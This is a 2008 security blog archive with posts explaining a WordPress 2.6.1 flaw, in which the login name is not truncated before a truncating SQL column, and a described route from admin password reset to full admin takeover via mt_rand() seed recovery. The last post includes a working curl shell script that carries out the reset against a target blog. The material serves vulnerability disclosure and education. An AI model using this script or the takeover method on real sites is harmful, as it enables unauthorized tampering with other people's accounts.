September 2008 Archives
Thu Sep 11 13:13:55 CEST 2008
cat ./. bag
Well, it took quite some time, but a rather early version of the PoC exploit to the
flaw in wordpress
has obviously found its way to the
It would have been nice if this had happened a liiittle bit later as there still are lots of vulnerable blogs out there. But on the plus side the published version luckily has sort of skiddie-protection, as far as the rainbow table creation part is at least not included in code and there are a couple of bugs which should in some cases prohibit successful exploitation w/o some minor changes to the code.
I might think about publishing a working version in the future, but that will have to wait until there are fewer active 2.6.1-sites out there.
By the way, the code used to be a shellscript with only the
written in php, which was afterwards quickly transformed into a php script as a whole (since there was no way of avoiding php completely anyway),
so that's why it actually looks like a shellscript written in php - and why there
remained some somehow strange looking lines like
$MBOX="wp".`ps|md5sum|head -c 8`; :)
Oh, and this is probably a good time to explain that in case you somehow do not want to update your blog software or cannot do so you should at least deactivate the option to let users register on the blog to protect against this vulnerability! That's required for versions <2.6.1 just as well - the PoC btw should also work w/ 2.6 and with some minor changes with even older version.
Tue Sep 9 12:35:58 CEST 2008
wordpress admin takeover
As stated in my previous post, the remote admin-password reset vulnerabilty at current wordpress 2.6.1 can be extended to completely takeover the admin account. Since the cat is out of the bag more or less and wordpress has released a new version which fixes this problem, I can go ahead and complete the description of the attack.
To sum up my previous post, there is an extremely easy way to reset the admin pass based on the fact that the username input is not truncated, while the sql column will truncate it. Therefore you can receive the reset-link of the admin-user and by following that link reset the password to a value computed by wordpress. Wordpress then sends that new password to the original admin. So far, no real harm done.
But since you have received the generated key within the resetpass-link, it is now
possible to compute the state of the random number generator, since wordpress uses
mt_rand() within its
wp_generate_password() function which
is used both in generating the key and the new password. And when the
random number generator is not reseeded in between the generation of the key and the
next request to generate the password (for example by issuing both requests via the same
http keep-alive connection), a rainbow table of all seed-resetkey relations (to be
precise you would need one for php versions <5.2.1 and one for versions >=5.2.1)
is all you need to quickly compute the generated password.
Then logging in, changing email+password of the admin user to you own values will complete the takeover of the admin account.
I have a working fully automated exploit for this issue, but since the rainbow tables are >100GB and calculating the seed on the fly takes way too long (even when relying on the fact that <5.2.1 will only have 31bit random seed), there's no real use publishing it at the moment.
By the way, both vulnerabilities this attack relies upon, sql column truncation as well as the weak mt_rand() have previously been found by Stefan Esser, and while this article reflects my own findings, it's no surprise that he has announced the wordpress vulnerability more or less at the same time - and I'm curious about what his soon to be expected description will look like.
Thu Sep 4 12:23:02 CEST 2008
resetting wordpress admin password
Quickly after posting this admin password resetter script I pulled the article,
since I found it is way too obvious how to completely take over the admin account based on this wordpress flaw.
But, since the info is finally out at milw0rm anyway and the next step might not be as obvious as I thought - the publisher of that text did not see it and even explicitely states this would be
"not critical vuln" - I might just as well go ahead and republish this old article.. :)
Looking at the source of php webapps usually is quite funny. Even when projects have been audited by a lot of people, in huge applications it is more or less unachievable to circumvent any unindented use of functions.
Like in this example: wordpress, one of the most often installed webapps worldwide, there might be few php codes audited by more people. Still, there remains the opportunity to find things like the following within just a couple of minutes.
The following exploit might just lead to some trouble for a blog's admin: on a
blog which allows user registration, it will allow anybody to quickly and very
easily reset the admin password - which can usually only be achieved by the admin
confirming the reset-request via mail.
Luckily only the true admin will receive the new password, so the direct impact ist very limited.
It is however possible - and actually rather easy - to take this one step further and completely take over the admin account, locking the original admin out. I won't go into details of that for the time being (this post is meant as an example of a very widespread security vulnerability, namely the missing truncation of overlong input strings, and not as an article about wordpress 0days).
Bug in wordpress in this case is that when registering a new user, the
length of the login-name is not checked. Which is a problem since the sql
table has a limit of 60 characters, so checking if 'admin
An incredibly common mistake in almost any php application you may happen to look into. This allows creation of a second 'admin' account - in this case you cannot log into it, but that is not a general rule.
Since this is a very common bug, I will release the quick exploit for educational purposes:
#!/bin/sh # ez wpress admin-password resetter # works w/ wordpress 2.6.1 # iso 2008 BLOG=$1 EMAIL=$2 CURL=/usr/bin/curl if [ "X$EMAIL" = "X" ]; then echo "[!] Usage: $0 blogurl myemail" echo " fe: $0 http://31337.biz/blog firstname.lastname@example.org" exit fi if [ -e $CURL ]; then echo "[-] registering new admin user" $CURL $BLOG/wp-login.php?action=register -s \ -d user_login="admin`perl -e 'print " "x60'`x" \ -d user_email=$EMAIL 2>&1 >/dev/null echo "[x] done" echo "[-] requesting password resetlink" $CURL $BLOG/wp-login.php?action=lostpassword -s \ -d user_login=$EMAIL 2>&1 /dev/null cat <<SHIT [x] done. click on link in mail once to reset pass of real admin, second click will reset your own password (you cannot login, though) real admin will receive a notification-mail including the new password. SHIT fi
Although you should not really be able to create any damage with this script, you are not allowed to use it on any other blog than your own, for obvious reasons.